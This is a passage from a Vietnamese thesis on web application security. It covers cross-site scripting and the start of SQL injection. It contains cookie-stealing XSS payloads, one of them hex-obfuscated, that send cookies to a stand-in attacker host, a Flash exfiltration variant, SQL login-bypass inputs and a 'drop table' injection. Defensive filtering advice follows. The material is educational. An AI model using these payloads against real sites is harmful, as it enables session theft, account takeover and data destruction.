KĨ THUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS)

Một phần của tài liệu Tài liệu Luận văn tốt nghiệp Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên internet pdf (Trang 47)

Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu,… vào mã nguồnứng dụng webđể từđó chúngđược chạy như là một phần củaứng dụng Web và có chức năng cung cấp hoặc thực hiện những nhữngđiều hacker muốn.

Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng.

Thông thường hacker lợi dụng địa chỉ URL đểđưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript, JavaScript…được thực thi trên chính trình duyệt của nạn nhân.

Ví Dụ5.I-1:

http://hotwired.lycos.com/webmonkey/00/index1.html?tw=<script>alert (document.cookie);</script>

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

hay:



http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

Phần in đậm là đoạn mãđược thêm vào với mục đích đánh cắp cookies của nạn nhân. Trong những ví dụ2.I-1 trên, hầu hết những tiền tố URL là địa chỉ của những ứng dụng Web có thật (VD: http://www.microsoft.com/education, http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/...) lợi dụng cách truyền tham số

trên URL mà hacker có thể dễ dàng thêm vào đoạn mãđánh cắp cookie.

Ví dụ5.I-1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang Web thông qua URL. Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng. Sau đây là danh sách nơi có thểchènđoạn mã:

Ví dụ5.I-2:

<a href="javas&#99;ript&#35;[code]"> <div onmouseover="[code]">

<img src="javascript:[code]"> <img dynsrc="javascript:[code]">

<input type="image" dynsrc="javascript:[code]"> <bgsound src="javascript:[code]">

&<script>[code]</script> &{[code]};

<img src=&{[code]};>

<liên kết rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]">

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

<img src="livescript:[code]">

<a href="about:<s&#99;ript>[code]</script>">

<meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]">

<div style="background-image: url(javascript:[code]);"> <div style="behaviour: url([liên kết to code]);">

<div style="binding: url([liên kết to code]);"> <div style="width: expression([code]);">

<style type="text/javascript">[code]</style>

<object classid="clsid:..." codebase="javascript:[code]"> <script>[code]</script>

<img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]">

<xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>

(tài liệu từhttp://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-15/0) Phần in đậm là phần có thểđặt đoạn mãđánh cắp thông tin.

II. PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG (adsbygoogle = window.adsbygoogle || []).push({});

Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông tin màứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng thiết lập ra cookie thì mới có thểđọc nó. Do đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của hacker là tìm trangđích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên

ứng dụng đó.

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

Hình 5.II-1. Quá trình thực hiện XSS

Tóm tắt các bước thực hiện:

• Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ

hỏng XSS.

• Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn

đang chờ bạn”…

• Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker.

• Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một trang Web để ghi nhận những thông tin đãđánh cắp vào 1 tập tin

• Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng.

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

Ví dụ 5.II-1: Để khai thác lỗ hổng trên ứng dụng hotwired.lycos.com, hacker có thể

thực hiện như sau : <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>do cument.location.replace('http://www.attacker.com/steal.cgi?'+docume nt.cookie);</script>"> Một phần thưởng hấp dẫn đang chờ bạn </a>

</body> </html>

Sau khi người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn đang chờ bạn”, cookie trên máy nạn nhân sẽ bị đánh cắp và là tham số truyền vào cho chương trình steal.cgi của hacker. http://www.attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C 20100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195 11286 Vấn đề đặt ra là có thể người lập trình sẽ bảo vệ ứng dụng Web của mình bằng cách lọc những kí tựđặc biệt như ‘, hay + (có thể tránh trường hợp dùng dấu ‘ để thực hiện câu truy vấn SQL chẳng hạn)… Nhưng hacker có thể lợi dụng mã hex thay cho những kí tự đặc biệtđểtấn công.

Thay thế bằng những số hex cho những kí tự ASCII. Ví dụ5.II-2:

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) http://www.attacker.com/steal.cgi: h -> 0x0068 t -> 0x0074 t -> 0x0074 p -> 0x0070 : -> 0x003A / -> 0x002F …

Sauđây là ví dụtrong cách dùng mã hex trongứng dụng web. Ví dụ5.II-3: <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>va r u = String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0061);

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) u %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B); u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0065); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069); u %2B= String.fromCharCode(0x003F); u %2B=document.cookie;document.location.replace(u);</script>" onMouseOver="window.status=’http://www.hotwired.lycos.com/index2.ht ml';return true"

onMouseOut="window.status='';return true">Một phần thưởng hấp dẫn đang chờ

bạn</a> </body> </html>

III. MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS

Tên công ty Domain Những liên kết bị khai thác

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

nbc.com <script>alert(document.cookie)</script>&frompa ge=4 &page=1&ct=VVTV&mh=0&sh=0&RN=1 Microsoft http://www.micr osoft.com/ http://www.microsoft.com/education/?ID=MCTN &target=http://www.microsoft.com/education/?ID= MCTN &target=<script>alert(document.cookie)</script> Chase https://www.cha se.com/ https://www.chase.com/chase/gx.cgi/FTcs?pagenam e=<script>alert(document.cookie)</script> &urlname=smallbusiness/direct EBay https://scgi.ebay. co.uk/ https://scgi.ebay.co.uk/saw- cgi/eBayISAPI.dll?SSLRegisterShow &countryid=3&siteId=3&co_partnerId=0&UsingSS L=1 &aolemail=<script>alert(document.cookie) </script>

Oracle Japan http://www.orac le.co.jp/

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/i m_search_exe?

search_text=<script>alert(document.cookie) </script> (adsbygoogle = window.adsbygoogle || []).push({});

IV. TẤN CÔNG XSS BẰNG FLASH

Ngoài những cách đưa mộtđoạn mã nguy hiểm thì hacker còn có thể lợi dụng những tập tin flash đểđánh cắp thông tin.

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đãđược xây dụng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tương tự như

JavaScript, C hay PERL. Ví dụhàm getURL() dùng để gọi một trang web khác, tham số thường là một URL chẳng hạn như “http://www.yahoo.com”.

Ví dụ5.IV-1:

getURL(“http://www.yahoo.com”)

Tuy nhiên có thể thay thế URL bằng JavaScript:

getURL(“javascript:alert(document.cookie)”)

Ví dụ 5.IV-1 trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vàoứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách tấn công này là:

Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flashđượcđọc:

getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do cument.cookie)”)

Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

Hình 5.IV-2: Cách viết Action Scipt trong Flash

Ví dụ5.IV-2:

DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập tin flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắp cookie của các thành viên và cũng có thể là tài khoản của người quản trị web, bằng cáchđăng kí làm thành viên củaứng dụng Web này, gửi tập tin flash lên máy chủvà đợi các nạn nhân xem tập tin flash đó. Dưới đây là địa chỉ liên kết dến một tập tin flash như đã trình bày trong ví dụ5.IV-2:

http://www.deviantart.com/deviation/1386080

Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn, các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công này, bằng cách nhậpđoạn mã gọi tập tin flash vào.

<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/s wflash.cab#version=6,0,0,0"

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

HEIGHT="48" id="1" ALIGN="">

<PARAM NAME=movie VALUE="http://www.ke_tan_cong.com/vidu.swf"> <PARAM NAME=quality VALUE=high>

<PARAM NAME=bgcolor VALUE=#FF9900>

<EMBED src=" http://www.ke_tan_cong.com/vidu.swf" quality=high bgcolor=#FF9900 WIDTH="60" HEIGHT="48" NAME="1" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"> </EMBED> </OBJECT> V. CÁCH PHÒNG CHỐNG

• Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web cần phải thực hiện vài bước cơ bản sau:

o Tạo ra danh sách những thẻ HTML được phép sử dụng. o Xóa bỏ thẻ <script>

o Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related nào.

o Lọc dấu nháy đơn hay kép (adsbygoogle = window.adsbygoogle || []).push({});

o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho

ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này).

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

o Xóa những kí tự “ > ”, “ < ”

o Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng.

• Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết định.

Nhận xét:

Kĩ thuật XSS khá phổbiến và dễ dàng áp dụng, tuy nhiên mứcđộthiệt hại chỉ dừng lại ở mứcđộ tấn công trên máy nạn nhân thông qua những liên kết hay form lừađảo mà hackerđưađến cho nạn nhân. Vì thế, ngoài việcứng dụng kiểm tra tínhđúngđắn của dữliệu trước khi sửdụng thì việc cần nhất là người dùng nên cảnh giác trước khi bước vào một trang Web mới. Có thể nói, nhờ vào sự cảnh giác của người dùng thì 90% đã đạt được sự bảo mật trong kĩ thuật này. Tuy nhiên, trong chương 6, sự tấn công lại nhắm vào máy chủ, nhằm thu thập thông tin trong cơ sở dữ liệu và từ đó giành quyền quản trị ứng dụng.

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Chương 6

CHÈN CÂU TRUY VN SQL

Nội dung:

I. Khái niệm SQL Injection

II. Giới thiệu mô hình cơ sở dữ liệu.III. Các cách tấn công. III. Các cách tấn công.

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

CHƯƠNG 6:

CHÈN CÂU TRUY VN SQL (SQL INJECTION)

DE

I. KHÁI NIỆM SQL INJECTION

SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình Web về phần truy xuất cơ sở dữ liệu. Đây không chỉ là khuyết điểm của riêng SQL Server mà nó còn là vấn đề chung cho toàn bộ các cơ sở dữ liệu khác như Oracle, MS Access hay IBM DB2.

Khi hacker gửi những dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện và trả về cho trình duyệt kết quả câu truy vấn hay những thông báo lỗi có liên quan đến cơ sở dữ liệu. Và nhờ những thông tin này mà hacker biết được nội dung cơ sở dữ

liệu và từđó có thểđiều khiển toàn bộ hệ thốngứng dụng.

II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU

Để trình bày tốt hơn nội dung kĩ thuật này, luận văn sử dụng bảng User để minh họa kĩ thuật tấn công.

Bng User:

STT Tên trường Cài đặt vật Kiểu trường Kích thước Diễn giải

1 tkUsername Khóa chính Text 50 Mỗi người dùng có 1 account đểđăng nhập.

2 tkPassword Text 50 Password để đăng

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Quy ước: (adsbygoogle = window.adsbygoogle || []).push({});

Ngôn ngữ lập trình sử dụng để minh họa trong chương này là ASP với cơ sở dữ liệu là SQL Server.

III. CÁC CÁCH TẤN CÔNG

III.1. Kĩ thut tn công SQL Injection

Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form

đăng nhập.

Ví dụ6.III.1-1: giả sửứng dụng web có đoạn mã sau:

SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”

flag= GetQueryResult (SQLQuery) if flag = “” then

check=FALSE else

check=TRUE end if

Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng User thì check=true ngược lại check=false.

Giá tri nhập vào là:

Username: ’ OR ‘’=’

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND Password= ‘’ OR ‘’=’’

Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽđược chọn.

Kết hợp với kí tựđặc biệt của SQL :

• kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn

• kí tự “--” :ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng Ví dụ6.III.1-2:

Username: ’; drop table User--

Password:

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table User-- AND Password= ‘” & tkPassword & “’”

Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn.

Ví dụ6.III.1-3: Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ

thống như sau:

Username: admin’--

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Câu lệnh SQL như sau: (adsbygoogle = window.adsbygoogle || []).push({});

SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND Password= ‘” & tkPassword & “’”

Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi hỏi password.

III.2. Tn công dưa vào câu lnh SELECT

Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi

để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều này, cần phải hiểu những thông báo lỗi và từđó chỉnh sửa nội dung nhập cho phù hợp.

Khái niệm Direct Injection:

Những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nhấy

đơn hay dấu ngoặc kép là trường hợp direct injection. Ví dụIII.2.1 Ví dụ6.III.2-1:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName

Khái niệm Quote Injection:

Những trường hợp đối sốđược nhập vào đều được ứng dụng cho vào giữa hai dấu nháy đơn hay ngoặc kép là trường hợp Quote Injection. Ví dụIII.2.2

Ví dụ6.III.2-2:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName & “’”

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng, chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự được chèn vào vàở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and ‘’=’’”

Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu “(“ thì trong chuỗi chèn vào phải có “)”:

Ví dụ6.III.2-3: Giả sử:

StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName & “’”)

Thì cú pháp hợp lệ như sau:

Một phần của tài liệu Tài liệu Luận văn tốt nghiệp Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên internet pdf (Trang 47)